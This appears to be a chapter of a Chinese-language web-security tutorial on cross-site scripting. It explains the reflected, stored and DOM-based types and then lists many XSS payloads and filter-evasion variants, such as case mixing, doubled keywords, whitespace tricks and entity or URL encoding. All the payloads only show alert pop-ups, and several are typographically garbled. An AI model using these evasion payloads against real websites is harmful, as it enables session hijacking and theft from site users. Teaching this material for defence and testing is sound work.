本章目的
普及XSS漏洞原理和分类,以及XSSspayload构造以及变形
基础概念
XSS漏洞概述
XSS被称为跨站脚本攻击(Cross-site scripting),由于和CSS(Cascading Style Sheets)重名,所以改为XSS。XSS主要基于javascript语言完成恶意的攻击行为,因为javascript可以非常灵活的操作html、css和浏览器。
XSS简介
XSS就是指通过利用网页开发时留下的漏洞(由于Web应用程序对用户的输入过滤不足),巧妙的将恶意代码注入到网页中,使用户浏览器加载并执行攻击者制造的恶意代码,以达到攻击的效果。这些恶意代码通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。当用户访问被XSS注入的网页,XSS代码就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而由于浏览器并不具有人格,不会判断代码是否恶意,只要代码符合语法规则,浏览器就会解析这段XSS代码。简单来说,XSS就是通过攻击者精心构造的JS代码注入到网页中,并由浏览器解释运行这段JS代码,以达到恶意攻击浏览器的效果。XSS攻击的对象是用户浏览器,属于被动攻击。因此XSS攻击涉及到三个角色:攻击者、用户浏览器、服务器
XSS危害
盗取各种用户账号
窃取用户Cookie资料,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
传播端虫病毒
攻击者能在一定限度内记录用户的键盘输入
从上述可知,XSS属于客户端攻击,受害者最终是用户,不要以为受害者是用户就认为跟自己的网站、服务器安全就没有关系。不要忘记,网站的管理员也是用户之一!因为管理员要比普通用户权限大的多,可以利用当其跳板实施攻击。微博、留言板、聊天室等等收集用户输入的地方,都有遭受XSS的风险。只要对用户的输入没有进行严格的过滤,就有可能遭受XSS攻击。
实施XSS攻击需要具备的两个条件:
需要向Web页面注入精心构造的恶意代码
对用户的输入没有做过滤,恶意代码能够被浏览器成功的执行
XSS验证
<script>alert(/xss/)</script> 常用
<script>confirm('xss')</scripts>
<script>prompt("xss")</script>
XSS验证
在测试页面中提交上述的代码,浏览器执行后就能看到弹框的操作,弹窗的目的是验证JS代码是否被执行。我们发现,提交的代码<script>alert('xss')</script>,被当做字符串输出在HTML页面中,浏览器会根据<script>标签识别为JS代码,并会执行它,执行弹窗操作。也就是我们可以执行JS代码,验证了XSS漏洞的存在性。
XSS漏洞分类
XSS根据其特性和利用手法的不同,主要分为三大类型:
反射型XSS
通常由黑客发送恶意URL给用户,进而控制服务器
特点
·非持久性
·参数型脚本
·反射型XSS的JS代码在Web应用的参数(变量)中,如搜索框等地方数据流量走向:浏览器->后端->浏览器
反射型XSS
反射型XSS又称为非持久型XSS,是现在最容易出现的一种XSS漏洞。用户在请求某条URL地址的时候,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码植入到URL,如果服务端未对URL携带的参数做判断或者过滤处理,直接返回响应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而触发反射型XSS。
比如,当用户进行搜索时,返回结果通常会包括用户原始的搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行后,用户的信息就可以被窃取,甚至可以模拟用户进行一些操作。
存储型XSS
通常由黑客发植入XSS进而控制服务器,使其送恶意URL给用户
特点
·持久性跨站脚本
·持久性体现在JS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永
久保存数据的介质中,如留言板等地方
数据流量走向:浏览器->后端->数据库->后端->浏览器
存储型XSS
存储型XSS又叫持久型XSS。一般而言,它是三种XSS里危害最大的一种。此类型的XSS漏洞是由于恶意攻击代码被持久化保存到服务器上,然后被显示到HTML页面之中。这类漏洞经常出现在用户评论的页面,攻击者精心构造XSS代码,保存到数据库中,当其他用户再次访问这个页面时,就会触发并执行恶意的XSS代码,从而窃取用户的敏感信息。
DOM型XSS
通常由黑客发送恶意URL给用户DOM型XSS
特点
·非持久性
数据流量走向:URL->浏览器
节点
文档是由节点构成的集合,在DOM里存在许多不同类型的节点,主要分为以下三种;
·元素节点
如购物页面,<body>、<p>、<ul>之类的元素在文档中的布局形成
了文档的结构,它们即是元素节点。
·文本节点
文档通常会包含一些内容,这些内容多数由文本提供,如前面例子中,<p>包含着
文本“欢迎购买”,它就是一个文本节点。
·属性节点
元素或多或少都有一些属性,属性用于对元素做出更具体的描述。
DOM型XSS漏洞是基于文档对象模型(DocumentObjectModel)的一种漏洞。这种XSS与反射型XSS、持久型XSS在原理上有本质区别,它的攻击代码并不需要服务器解析响应,触发XSS靠的是浏览器端的DOM解析。客户端上的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。在客户端直接输出DOM内容的时候极易触发DOM型XSS漏洞,如document.getElementByld("x").innerHTML、 document.write等。
XSSpayload构造以及变形
XSS payload构造
利用【<>】构造HTML标签和<script></script:>标签
<h1 style="color:green;">XSS</h1>
<script>alert(/xss/)</script>
利用HTML标签的属性值(伪协议)
<a href="javascript:alert(/xss/)">touch me !</a>
<img src="javascript:alert('xss')">(此标签需要在IE6下测试)
利用事件
事件种类
·windows事件 对windows对象触发的事件
·Form事件 HTML表单内的动作触发事件
·Keyboard事件 键盘按键
·Mouse事件 由鼠标或类似用户动作触发的事件
·Media事件 由多媒体触发的事件
利用事件
<img src='./smile.jpg'οnmοuseοver='alert(/xss/)'>
<input type="text"οnclick="alert(/xss/)">
利用CSS
可以利用CSS(层叠样式脚本)
触发XSS。但是这种方法比较古老,基本上不适合现在
主要的浏览器,但是从学习的角度,我们需要了解这种类型的XSS,以下代码均在E6下测试:
行内样式
<div style="background-image:url(javascript:alert(/xss/))">
页内样式
<style>Body(background-image:url(javascript:alert(/xss/))}</style>
外部样式
<link rel="stylesheet"type="text/css"href="./xss.css">
expression
<div style="width:expression(alert(/xss/))">
大小写
<iMg sRc='#'Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)">click me</a>
双写关键字
<scrscriptipt>alert(/xss/)</scrscriptipt>
引号
如果在HTML标签中,可以不用引号;如果在js中,可以用反引号代替单双引号
<img src="#"οnerrοr="alert(/xss/)"/>
<img src='#'οnerrοr='alert(/xss/)'/>
57
<img src=#οnerrοr=alert(/xss/)/>
<img src="#οnerrοr=alert('xss')/
<img src="#"οnerrοr=alert'xss'/>(代替括号)
【/】代替空格
<img/src='#'/οnerrοr='alert/'(xss/)'/>
Tab与回车
在一些位置添加Tab(水平制表符)和回车符来绕过关键字检测
<img src='#'onerror
='alert(/xss/)'/>
<a href="j
avascript:alert(/xss/)">click me!</a>
<A href="j
avascript:alert(/xss/)">click me!</a>
XSS payloadi变形
编码
HTML实体编码
a 97 a a
<a href="javascript:alert(/xss/)">click me!</a>
URL编码
%3Cscript%3Ealert(/xss/)%3C/script%3E